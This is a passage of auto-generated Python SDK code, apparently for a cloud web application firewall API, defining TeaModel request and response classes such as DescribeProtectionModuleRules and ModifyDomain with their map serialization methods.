if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfosResponseBody(TeaModel):\n\n def __init__(self, request_id=None, instance_infos=None):\n self.request_id = request_id\n self.instance_infos = instance_infos\n\n def validate(self):\n if self.instance_infos:\n for k in self.instance_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['InstanceInfos'] = []\n if self.instance_infos is not None:\n for k in self.instance_infos:\n result['InstanceInfos'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.instance_infos = []\n if m.get('InstanceInfos') is not None:\n for k in m.get('InstanceInfos'):\n temp_model = DescribeInstanceInfosResponseBodyInstanceInfos()\n self.instance_infos.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeInstanceInfosResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfosResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceSpecInfoRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos(TeaModel):\n\n def __init__(self, value=None, code=None):\n self.value = value\n self.code = code\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos,\n self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.value is not None:\n result['Value'] = self.value\n if self.code is not None:\n result['Code'] = self.code\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Value') is not None:\n self.value = m.get('Value')\n if m.get('Code') is not None:\n self.code = m.get('Code')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBody(TeaModel):\n\n def __init__(self, instance_spec_infos=None, request_id=None,\n instance_id=None, version=None, expire_time=None):\n self.instance_spec_infos = instance_spec_infos\n self.request_id = request_id\n self.instance_id = instance_id\n self.version = version\n self.expire_time = expire_time\n\n def validate(self):\n if self.instance_spec_infos:\n for k in self.instance_spec_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n result['InstanceSpecInfos'] = []\n if self.instance_spec_infos is not None:\n for k in self.instance_spec_infos:\n result['InstanceSpecInfos'].append(k.to_map() if k else None)\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.version is not None:\n result['Version'] = self.version\n if self.expire_time is not None:\n result['ExpireTime'] = self.expire_time\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.instance_spec_infos = []\n if m.get('InstanceSpecInfos') is not None:\n for k in m.get('InstanceSpecInfos'):\n temp_model = (\n DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos())\n self.instance_spec_infos.append(temp_model.from_map(k))\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ExpireTime') is not None:\n self.expire_time = m.get('ExpireTime')\n return self\n\n\nclass DescribeInstanceSpecInfoResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceSpecInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeLogServiceStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, region=None, resource_group_id=\n None, page_number=None, page_size=None, domain_names=None):\n self.instance_id = instance_id\n self.region = region\n self.resource_group_id = resource_group_id\n self.page_number = page_number\n self.page_size = page_size\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.region is not None:\n result['Region'] = self.region\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeLogServiceStatusResponseBodyDomainStatus(TeaModel):\n\n def __init__(self, domain=None, sls_log_active=None):\n self.domain = domain\n self.sls_log_active = sls_log_active\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBodyDomainStatus, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.sls_log_active is not None:\n result['SlsLogActive'] = self.sls_log_active\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SlsLogActive') is not None:\n self.sls_log_active = m.get('SlsLogActive')\n return self\n\n\nclass DescribeLogServiceStatusResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_status=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_status = domain_status\n\n def validate(self):\n if self.domain_status:\n for k in self.domain_status:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainStatus'] = []\n if self.domain_status is not None:\n for k in self.domain_status:\n result['DomainStatus'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_status = []\n if m.get('DomainStatus') is not None:\n for k in m.get('DomainStatus'):\n temp_model = DescribeLogServiceStatusResponseBodyDomainStatus()\n self.domain_status.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeLogServiceStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleCodeConfigRequest(TeaModel):\n\n def __init__(self, source_ip=None, lang=None, code_type=None,\n code_value=None, instance_id=None, resource_group_id=None):\n self.source_ip = source_ip\n self.lang = lang\n self.code_type = code_type\n self.code_value = code_value\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.source_ip is not None:\n result['SourceIp'] = self.source_ip\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.code_type is not None:\n result['CodeType'] = self.code_type\n if self.code_value is not None:\n result['CodeValue'] = self.code_value\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('SourceIp') is not None:\n self.source_ip = m.get('SourceIp')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('CodeType') is not None:\n self.code_type = m.get('CodeType')\n if m.get('CodeValue') is not None:\n self.code_value = m.get('CodeValue')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponseBody(TeaModel):\n\n def __init__(self, request_id=None, code_configs=None):\n self.request_id = request_id\n self.code_configs = code_configs\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponseBody, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.code_configs is not None:\n result['CodeConfigs'] = self.code_configs\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('CodeConfigs') is not None:\n self.code_configs = m.get('CodeConfigs')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleCodeConfigResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleModeRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, instance_id=None,\n resource_group_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleModeResponseBody(TeaModel):\n\n def __init__(self, learn_status=None, request_id=None, mode=None):\n self.learn_status = learn_status\n self.request_id = request_id\n self.mode = mode\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.learn_status is not None:\n result['LearnStatus'] = self.learn_status\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.mode is not None:\n result['Mode'] = self.mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('LearnStatus') is not None:\n self.learn_status = m.get('LearnStatus')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n return self\n\n\nclass DescribeProtectionModuleModeResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleRulesRequest(TeaModel):\n\n def __init__(self, page_size=None, page_number=None, domain=None,\n defense_type=None, query=None, lang=None, instance_id=None,\n resource_group_id=None):\n self.page_size = page_size\n self.page_number = page_number\n self.domain = domain\n self.defense_type = defense_type\n self.query = query\n self.lang = lang\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.query is not None:\n result['Query'] = self.query\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Query') is not None:\n self.query = m.get('Query')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleRulesResponseBodyRules(TeaModel):\n\n def __init__(self, status=None, time=None, version=None, content=None,\n rule_id=None):\n self.status = status\n self.time = time\n self.version = version\n self.content = content\n self.rule_id = rule_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBodyRules, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.time is not None:\n result['Time'] = self.time\n if self.version is not None:\n result['Version'] = self.version\n if self.content is not None:\n result['Content'] = self.content\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Time') is not None:\n self.time = m.get('Time')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('Content') is not None:\n self.content = m.get('Content')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n return self\n\n\nclass DescribeProtectionModuleRulesResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, rules=None):\n self.total_count = total_count\n self.request_id = request_id\n self.rules = rules\n\n def validate(self):\n if self.rules:\n for k in self.rules:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['Rules'] = []\n if self.rules is not None:\n for k in self.rules:\n result['Rules'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.rules = []\n if m.get('Rules') is not None:\n for k in m.get('Rules'):\n temp_model = DescribeProtectionModuleRulesResponseBodyRules()\n self.rules.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeProtectionModuleRulesResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleRulesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleStatusRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, instance_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeProtectionModuleStatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None, module_status=None):\n self.request_id = request_id\n self.module_status = module_status\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n return self\n\n\nclass DescribeProtectionModuleStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeWafSourceIpSegmentRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponseBody(TeaModel):\n\n def __init__(self, request_id=None, ip_v6s=None, ips=None):\n self.request_id = request_id\n self.ip_v6s = ip_v6s\n self.ips = ips\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.ip_v6s is not None:\n result['IpV6s'] = self.ip_v6s\n if self.ips is not None:\n result['Ips'] = self.ips\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('IpV6s') is not None:\n self.ip_v6s = m.get('IpV6s')\n if m.get('Ips') is not None:\n self.ips = m.get('Ips')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeWafSourceIpSegmentResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, source_ips=None,\n load_balancing=None, http_port=None, https_port=None, http_2port=\n None, https_redirect=None, http_to_user_ip=None, is_access_product=\n None, log_headers=None, cluster_type=None, connection_time=None,\n read_time=None, write_time=None, access_type=None,\n cloud_native_instances=None, ip_follow_status=None):\n self.instance_id = instance_id\n self.domain = domain\n self.source_ips = source_ips\n self.load_balancing = load_balancing\n self.http_port = http_port\n self.https_port = https_port\n self.http_2port = http_2port\n self.https_redirect = https_redirect\n self.http_to_user_ip = http_to_user_ip\n self.is_access_product = is_access_product\n self.log_headers = log_headers\n self.cluster_type = cluster_type\n self.connection_time = connection_time\n self.read_time = read_time\n self.write_time = write_time\n self.access_type = access_type\n self.cloud_native_instances = cloud_native_instances\n self.ip_follow_status = ip_follow_status\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.log_headers is not None:\n result['LogHeaders'] = self.log_headers\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_instances is not None:\n result['CloudNativeInstances'] = self.cloud_native_instances\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('LogHeaders') is not None:\n self.log_headers = m.get('LogHeaders')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeInstances') is not None:\n self.cloud_native_instances = m.get('CloudNativeInstances')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n return self\n\n\nclass ModifyDomainResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainIpv6StatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyDomainIpv6StatusResponseBody(TeaModel):\n\n def __init__(self, request_id=None):\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainIpv6StatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainIpv6StatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogRetrievalStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id\n self.domain = domain\n self.enabled = enabled\n\n def validate(self):\n 